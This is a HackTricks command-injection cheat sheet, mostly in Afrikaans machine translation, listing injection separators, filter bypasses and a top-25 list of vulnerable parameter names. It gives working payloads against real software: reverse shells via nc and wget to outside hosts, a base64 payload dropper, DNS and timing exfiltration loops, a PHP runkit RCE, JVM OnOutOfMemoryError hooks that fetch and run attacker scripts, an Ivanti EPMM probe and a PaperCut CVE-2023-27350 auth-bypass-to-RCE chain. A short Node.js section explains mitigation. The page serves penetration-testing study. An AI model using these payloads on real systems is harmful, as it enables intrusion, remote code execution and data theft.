Command Injection

Tip

Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Leer & oefen Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Blaai deur die volledige HackTricks Training-katalogus vir die assesseringsroetes (ARTA/GRTA/AzRTA) en Linux Hacking Expert (LHE).

Ondersteun HackTricks

What is command Injection?

A command injection maak die uitvoering van willekeurige bedryfstelsel-opdragte moontlik deur ’n aanvaller op die server wat ’n toepassing huisves. Gevolglik kan die toepassing en al sy data volledig gekompromitteer word. Die uitvoering van hierdie opdragte laat die aanvaller gewoonlik toe om ongemagtigde toegang of beheer oor die toepassing se omgewing en onderliggende stelsel te verkry.

Context

Afhangend van waar jou invoer ingespuit word mag jy eers die geciteerde konteks moet beëindig (deur " of ' te gebruik) voor die opdragte.

Command Injection/Execution

#Both Unix and Windows supported
ls||id; ls ||id; ls|| id; ls || id # Execute both
ls|id; ls |id; ls| id; ls | id # Execute both (using a pipe)
ls&&id; ls &&id; ls&& id; ls && id #  Execute 2º if 1º finish ok
ls&id; ls &id; ls& id; ls & id # Execute both but you can only see the output of the 2º
ls %0A id # %0A Execute both (RECOMMENDED)
ls%0abash%09-c%09"id"%0a   # (Combining new lines and tabs)

#Only unix supported
`ls` # ``
$(ls) # $()
ls; id # ; Chain commands
ls${LS_COLORS:10:1}${IFS}id # Might be useful

#Not executed but may be interesting
> /var/www/html/out.txt #Try to redirect the output to a file
< /etc/passwd #Try to send some input to the command

PHP reël-enjins met runkit geaktiveer

Sommige toepassings implementeer admin-only “reël-enjins” deur uit te voer attacker-supplied PHP. As die omgewing die runkit extension aktiveer, kan ’n attacker funksies herdefinieer of tydens runtime injekteer en ’n logic-only rule editor eskaleer na volledige PHP RCE.

Aanwysers:

  • Admin UI aanvaar PHP-like “rules” wat geëvalueer word.
  • runkit / runkit7 is loaded (phpinfo() or extension_loaded('runkit')).

Abuse example (redefine a function used by the rules to execute a command):

<?php
runkit_function_redefine('checkBid', '$bid', 'system($_GET["cmd"]); return true;');

As die reëlinhoud gestoor en later geëvalueer word, word dit ’n permanente RCE-primitief binne die webkonteks.

Beperking Bypasses

As jy probeer om arbitrary commands inside a linux machine uit te voer, sal jy belangstel om meer te lees oor hierdie Bypasses:

Bypass Linux Restrictions

Voorbeelde

vuln=127.0.0.1 %0a wget https://web.es/reverse.txt -O /tmp/reverse.php %0a php /tmp/reverse.php
vuln=127.0.0.1%0anohup nc -e /bin/bash 51.15.192.49 80
vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod 744 /tmp/pay; /tmp/pay

Bash aritmetiese evaluasie in RewriteMap/CGI-style scripts

RewriteMap helpers geskryf in bash druk soms query-params in globale veranderlikes en vergelyk hulle later in aritmetiese kontekste ([[ $a -gt $b ]], $((...)), let). Aritmetiese uitbreiding her-tokeniseer die inhoud, sodat deur-aanvaller-beheerde veranderlikename of reeksverwysings twee keer uitgebrei word en kan kode uitvoer.

Patroon gesien in Ivanti EPMM RewriteMap helpers:

  1. Params word na globale veranderlikes gemap (stgStartTime, htheValue).
  2. Later kontrole:
if [[ ${theCurrentTimeSeconds} -gt ${gStartTime} ]]; then
...
fi
  1. Stuur st=theValue sodat gStartTime na die string theValue wys.
  2. Stuur h=gPath['sleep 5'] sodat theValue ’n reeksindeks bevat; tydens die aritmetiese kontrole voer dit sleep 5 uit (vervang met ’n werklike payload).

Probe (~5s vertraging, dan 404 as kwesbaar):

curl -k "https://TARGET/mifs/c/appstore/fob/ANY?st=theValue&h=gPath['sleep 5']"

Aantekeninge:

  • Kyk vir dieselfde helper onder ander voorvoegsels (bv., /mifs/c/aftstore/fob/).
  • Arithmetic contexts behandel onbekende tokens as variable/array identifiers, dus omseil dit eenvoudige metacharacter filters.

Parameters

Hier is die top 25 parameters wat vatbaar kan wees vir code injection en soortgelyke RCE-kwesbaarhede (van link):

?cmd={payload}
?exec={payload}
?command={payload}
?execute{payload}
?ping={payload}
?query={payload}
?jump={payload}
?code={payload}
?reg={payload}
?do={payload}
?func={payload}
?arg={payload}
?option={payload}
?load={payload}
?process={payload}
?step={payload}
?read={payload}
?function={payload}
?req={payload}
?feature={payload}
?exe={payload}
?module={payload}
?payload={payload}
?run={payload}
?print={payload}

Time based data exfiltration

Uittrekking van data: karakter vir karakter

swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
real    0m5.007s
user    0m0.000s
sys 0m0.000s

swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == a ]; then sleep 5; fi
real    0m0.002s
user    0m0.000s
sys 0m0.000s

DNS based data exfiltration

Gebaseer op die tool van https://github.com/HoLyVieR/dnsbin, ook gehost op dnsbin.zhack.ca

1. Go to http://dnsbin.zhack.ca/
2. Execute a simple 'ls'
for i in $(ls /) ; do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done
$(host $(wget -h|head -n1|sed 's/[ ,]/-/g'|tr -d '.').sudo.co.il)

Aanlyn gereedskap om te kontroleer vir DNS based data exfiltration:

  • dnsbin.zhack.ca
  • pingb.in

Filter-omseiling

Windows

powershell C:**2\n??e*d.*? # notepad
@^p^o^w^e^r^shell c:**32\c*?c.e?e # calc

Linux

Bypass Linux Restrictions

Node.js child_process.exec vs execFile

Wanneer u JavaScript/TypeScript back-ends oudit, sal u dikwels die Node.js child_process API teëkom.

// Vulnerable: user-controlled variables interpolated inside a template string
const { exec } = require('child_process');
exec(`/usr/bin/do-something --id_user ${id_user} --payload '${JSON.stringify(payload)}'`, (err, stdout) => {
/* … */
});

exec() skep ’n shell (/bin/sh -c), daarom sal enige karakter wat ’n spesiale betekenis vir die shell het (back-ticks, ;, &&, |, $(), …) lei tot command injection wanneer gebruikersinvoer in die string gekonkateneer word.

Mitigasie: gebruik execFile() (of spawn() sonder die shell opsie) en voorsien elke argument as ’n afsonderlike array-element sodat geen shell betrokke is nie:

const { execFile } = require('child_process');
execFile('/usr/bin/do-something', [
'--id_user', id_user,
'--payload', JSON.stringify(payload)
]);

Real-world geval: Synology Photos ≤ 1.7.0-0794 was uitbuitbaar deur ’n onverifieerde WebSocket-event wat deur die aanvaller beheerde data in id_user geplaas het, wat later in ’n exec()-oproep ingebed is, wat RCE bereik het (Pwn2Own Ireland 2024).

Argument/Option injection via leading hyphen (argv, no shell metacharacters)

Nie alle injections vereis shell metacharacters nie. As die toepassing onvertroude stringe as argumente aan ’n stelselhulpmiddel deurgee (selfs met execve/execFile en sonder ’n shell), sal baie programme steeds enige argument wat met - of -- begin as ’n opsie ontleed. Dit laat ’n aanvaller toe om modi om te skakel, uitsetpaaie te verander, of gevaarlike gedrag te aktiveer sonder om ooit ’n shell in te gaan.

Tipiese plekke waar dit voorkom:

  • Ingebedde web-UIs/CGI-handlers wat opdragte bou soos ping <user>, tcpdump -i <iface> -w <file>, curl <url>, ens.
  • Gekentraliseerde CGI-routere (bv. /cgi-bin/<something>.cgi met ’n selekteerderparameter soos topicurl=<handler>) waar meerdere handlers dieselfde swak valideerder hergebruik.

Wat om te probeer:

  • Verskaf waardes wat met -/-- begin sodat die onderliggende hulpmiddel dit as vlae kan verbruik.
  • Misbruik vlae wat gedrag verander of lêers skryf, byvoorbeeld:
    • ping: -f/-c 100000 om die toestel te belas (DoS)
    • curl: -o /tmp/x om ewekansige paaie te skryf, -K <url> om deur die aanvaller beheerde konfig te laai
    • tcpdump: -G 1 -W 1 -z /path/script.sh om post-rotate uitvoering in onveilige wrappers te bereik
  • As die program -- as end-of-options ondersteun, probeer om naïewe mitigasies wat -- op die verkeerde plek vooraan sit te omseil.

Generiese PoC-patrone teen gekentraliseerde CGI-dispatchers:

POST /cgi-bin/cstecgi.cgi HTTP/1.1
Content-Type: application/x-www-form-urlencoded

# Flip options in a downstream tool via argv injection
topicurl=<handler>&param=-n

# Unauthenticated RCE when a handler concatenates into a shell
topicurl=setEasyMeshAgentCfg&agentName=;id;

JVM diagnostiese terugroepe vir gewaarborgde exec

Enige primitief wat jou toelaat om JVM opdragreëlargumente in te voeg (_JAVA_OPTIONS, launcher-konfigurasielêers, AdditionalJavaArguments fields in desktop agents, etc.) kan in ’n betroubare RCE omskep word sonder om toepassings-bytecode aan te raak:

  1. Forceer ’n deterministiese crash deur metaspace of heap te verklein: -XX:MaxMetaspaceSize=16m (of ’n klein -Xmx). Dit waarborg ’n OutOfMemoryError selfs tydens vroeë bootstrap.
  2. Heg ’n fout-hook aan: -XX:OnOutOfMemoryError="<cmd>" of -XX:OnError="<cmd>" voer ’n arbitrêre OS-opdrag uit wanneer die JVM aborteer.
  3. Voeg opsioneel -XX:+CrashOnOutOfMemoryError by om herstelpogings te vermy en die payload eenslags te hou.

Voorbeelde van payloads:

-XX:MaxMetaspaceSize=16m -XX:OnOutOfMemoryError="cmd.exe /c powershell -nop -w hidden -EncodedCommand <blob>"
-XX:MaxMetaspaceSize=12m -XX:OnOutOfMemoryError="/bin/sh -c 'curl -fsS https://attacker/p.sh | sh'"

Omdat hierdie diagnostika deur die JVM self geparseer word, is geen shell metacharacters nodig nie en die opdrag hardloop met dieselfde integriteitsvlak as die launcher. Desktop IPC-bugs wat user-supplied JVM flags deurstuur (sien Localhost WebSocket abuse) vertaal dus direk in OS-opdraguitvoering.

PaperCut NG/MF SetupCompleted auth bypass -> print scripting RCE

  • Kwetsbare NG/MF-weergawes (bv. 22.0.5 Build 63914) openbaar /app?service=page/SetupCompleted; deur daardie blad te besoek en op Login te klik, word ’n geldige JSESSIONID teruggegee sonder inlogbewyse (authentication bypass in die instellingsproses).
  • In Options → Config Editor, stel print-and-device.script.enabled=Y en print.script.sandboxed=N om printer-scripting aan te skakel en die sandbox uit te skakel.
  • In die printer Scripting-oortjie, skakel die script aan en hou printJobHook gedefinieer om validasiefoute te voorkom, maar plaas die payload buite die funksie sodat dit onmiddellik uitgevoer word wanneer jy op Apply klik (geen drukwerk nodig):
function printJobHook(inputs, actions) {}
cmd = ["bash","-c","curl http://attacker/hit"];
java.lang.Runtime.getRuntime().exec(cmd);
  • Ruil die callback vir ’n reverse shell; as die UI/PoC nie pipes/redirects kan hanteer nie, stage ’n payload met een opdrag en exec dit met ’n tweede versoek.
  • Horizon3’s CVE-2023-27350.py outomatiseer die auth bypass, config flips, command execution, en rollback—voer dit deur ’n upstream proxy uit (bv., proxychains → Squid) wanneer die diens slegs intern bereikbaar is.

Brute-Force Opsporingslys

Auto_Wordlists/wordlists/command_injection.txt at main \xc2\xb7 carlospolop/Auto_Wordlists \xc2\xb7 GitHub

Verwysings

Tip

Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Leer & oefen Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Blaai deur die volledige HackTricks Training-katalogus vir die assesseringsroetes (ARTA/GRTA/AzRTA) en Linux Hacking Expert (LHE).

Ondersteun HackTricks